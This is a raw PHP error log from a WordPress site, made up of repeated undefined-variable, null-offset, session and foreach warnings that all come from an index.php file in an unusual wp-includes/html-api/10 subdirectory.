[15-Feb-2026 03:39:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:30 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:39 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:48 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:51 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:03 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:40:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:40:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:40:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:30 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:40:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:40:33 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:40:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:40:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[15-Feb-2026 05:02:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[15-Feb-2026 05:02:45 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[15-Feb-2026 05:02:45 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[15-Feb-2026 05:10:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:10:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:10:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:10:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:10:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:10:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:13 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:11:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:11:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:11:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:11:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:11:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
